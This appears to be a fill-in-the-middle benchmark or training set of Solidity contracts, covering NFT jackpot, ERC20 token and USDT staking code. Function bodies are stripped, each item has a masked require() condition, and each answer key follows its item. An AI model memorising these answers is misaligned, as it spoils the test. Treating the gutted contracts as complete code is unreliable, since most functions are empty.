import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
require(<FILL_ME>)
require(jackpot > 0, "No jackpot");
uint256 phase2Jackpot = jackpot.mul(50).div(100);
require(phase2Jackpot > 0, "No phase 2 jackpot");
require(jackpotRemaining >= phase2Jackpot, "Not enough jackpot");
phase2JackpotClaimed = true;
jackpotRemaining = jackpot.sub(phase2Jackpot);
_transfer(_msgSender(), phase2Jackpot); // phase 2 winner get 50% of jackpot
emit ClaimPhase2Jackpot(_msgSender());
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| !phase2JackpotClaimed,"Phase 2 jackpot claimed" | 326,050 | !phase2JackpotClaimed |
"No rights" | pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IBurnable.sol";
contract ObortechToken is ERC20, Ownable, IBurnable {
address private tokenDistributionContract;
constructor (string memory name_, string memory symbol_) public ERC20(name_, symbol_) {
}
function getTokenDistributionContract() external view returns (address) {
}
function setTokenDistributionContract(address _tokenDistributionContract) external onlyOwner {
}
function burn(uint256 amount) external override {
require(<FILL_ME>)
_burn(_msgSender(), amount);
}
}
| _msgSender()==tokenDistributionContract,"No rights" | 326,066 | _msgSender()==tokenDistributionContract |
null | /**
*Submitted for verification at Etherscan.io on 2019-06-20
*/
pragma solidity ^0.5.7;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Integer division of two unsigned integers truncating the quotient,
* reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract
* to the sender account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
}
/**
* @dev Rescue compatible ERC20 Token
*
* @param tokenAddr ERC20 The address of the ERC20 token contract
* @param receiver The address of the receiver
* @param amount uint256
*/
function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner {
}
/**
* @dev Withdraw Ether
*/
function withdrawEther(address payable to, uint256 amount) external onlyOwner {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
}
/**
* @return Returns true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() external onlyOwner whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() external onlyOwner whenPaused {
}
}
/**
* @title EDSS Main Contract
*/
contract EDSS is Ownable, Pausable, IERC20 {
using SafeMath for uint256;
string private _name = "EDSS";
string private _symbol = "EDSS";
uint256 private _decimals = 18; // 18 decimals
uint256 private _cap = 1000000000 * 10 **_decimals;
uint256 private _totalSupply;
mapping (address => bool) private _minter;
event Mint(address indexed to, uint256 value);
event MinterChanged(address account, bool state);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
event Donate(address indexed account, uint256 amount);
/**
* @dev Constructor
*/
constructor() public {
}
/**
* @dev donate
*/
function () external payable {
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint256) {
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
}
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(<FILL_ME>)
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
}
/**
* @dev Throws if called by account not a minter.
*/
modifier onlyMinter() {
}
/**
* @dev Returns true if the given account is minter.
*/
function isMinter(address account) public view returns (bool) {
}
/**
* @dev Set a minter state
*/
function setMinterState(address account, bool state) external onlyOwner {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to an account.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
}
}
| _allowed[from][msg.sender]>=value | 326,112 | _allowed[from][msg.sender]>=value |
null | /**
*Submitted for verification at Etherscan.io on 2019-06-20
*/
pragma solidity ^0.5.7;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Integer division of two unsigned integers truncating the quotient,
* reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract
* to the sender account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
}
/**
* @dev Rescue compatible ERC20 Token
*
* @param tokenAddr ERC20 The address of the ERC20 token contract
* @param receiver The address of the receiver
* @param amount uint256
*/
function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner {
}
/**
* @dev Withdraw Ether
*/
function withdrawEther(address payable to, uint256 amount) external onlyOwner {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
}
/**
* @return Returns true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() external onlyOwner whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() external onlyOwner whenPaused {
}
}
/**
* @title EDSS Main Contract
*/
contract EDSS is Ownable, Pausable, IERC20 {
using SafeMath for uint256;
string private _name = "EDSS";
string private _symbol = "EDSS";
uint256 private _decimals = 18; // 18 decimals
uint256 private _cap = 1000000000 * 10 **_decimals;
uint256 private _totalSupply;
mapping (address => bool) private _minter;
event Mint(address indexed to, uint256 value);
event MinterChanged(address account, bool state);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
event Donate(address indexed account, uint256 amount);
/**
* @dev Constructor
*/
constructor() public {
}
/**
* @dev donate
*/
function () external payable {
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint256) {
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
}
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
}
/**
* @dev Throws if called by account not a minter.
*/
modifier onlyMinter() {
require(<FILL_ME>)
_;
}
/**
* @dev Returns true if the given account is minter.
*/
function isMinter(address account) public view returns (bool) {
}
/**
* @dev Set a minter state
*/
function setMinterState(address account, bool state) external onlyOwner {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to an account.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
}
}
| _minter[msg.sender] | 326,112 | _minter[msg.sender] |
null | /**
*Submitted for verification at Etherscan.io on 2019-06-20
*/
pragma solidity ^0.5.7;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Integer division of two unsigned integers truncating the quotient,
* reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract
* to the sender account.
*/
constructor () internal {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
}
/**
* @dev Rescue compatible ERC20 Token
*
* @param tokenAddr ERC20 The address of the ERC20 token contract
* @param receiver The address of the receiver
* @param amount uint256
*/
function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner {
}
/**
* @dev Withdraw Ether
*/
function withdrawEther(address payable to, uint256 amount) external onlyOwner {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
}
/**
* @return Returns true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() external onlyOwner whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() external onlyOwner whenPaused {
}
}
/**
* @title EDSS Main Contract
*/
contract EDSS is Ownable, Pausable, IERC20 {
using SafeMath for uint256;
string private _name = "EDSS";
string private _symbol = "EDSS";
uint256 private _decimals = 18; // 18 decimals
uint256 private _cap = 1000000000 * 10 **_decimals;
uint256 private _totalSupply;
mapping (address => bool) private _minter;
event Mint(address indexed to, uint256 value);
event MinterChanged(address account, bool state);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
event Donate(address indexed account, uint256 amount);
/**
* @dev Constructor
*/
constructor() public {
}
/**
* @dev donate
*/
function () external payable {
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint256) {
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
}
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
}
/**
* @dev Throws if called by account not a minter.
*/
modifier onlyMinter() {
}
/**
* @dev Returns true if the given account is minter.
*/
function isMinter(address account) public view returns (bool) {
}
/**
* @dev Set a minter state
*/
function setMinterState(address account, bool state) external onlyOwner {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to an account.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(<FILL_ME>)
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Mint(account, value);
emit Transfer(address(0), account, value);
}
}
| _totalSupply.add(value)<=_cap | 326,112 | _totalSupply.add(value)<=_cap |
"invest stopped" | pragma solidity ^0.5.0;
contract USDTPool is IRewardDistributionRecipient {
mapping(address => uint256) public userRewardPaid;
uint256 public _rewardPerToken;
bool internal _notEntered;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
bool public lock = true;
bool public stopinvest = false;
uint public min_amount = 100;
modifier nonReentrant() {
}
constructor()public{
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function notifyRewardAmount(uint amount) public nonReentrant onlyRewardDistribution{
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public {
require(amount > 0, "Cannot stake 0");
require(amount >= min_amount*1e6, "less");
require(<FILL_ME>)
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
userRewardPaid[msg.sender] = userRewardPaid[msg.sender].add(amount.mul(_rewardPerToken)/1e6);
usdt.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public {
}
function exit() external {
}
function earned(address account) public view returns (uint256) {
}
function force_withdraw(uint amount)public{
}
function getReward() public nonReentrant {
}
function transferAnyERC20Token(address tokenAddress, uint tokens, address who) public onlyOwner returns (bool success) {
}
function transferAnyUSDT(uint tokens, address who) public onlyOwner {
}
function changelock(bool _lock) public onlyOwner{
}
function changestop(bool _stop) public onlyOwner{
}
function changemin(uint _min) public onlyOwner{
}
}
| !stopinvest,"invest stopped" | 326,149 | !stopinvest |
"Mint amount exceeds the max supply available for public" | // SPDX-License-Identifier: MIT
/*
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░▌ ▐░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▌ ▐░░░░░░░░░░▌▐░░░░░░░░░░░▐░░░░░░░░░░░▌
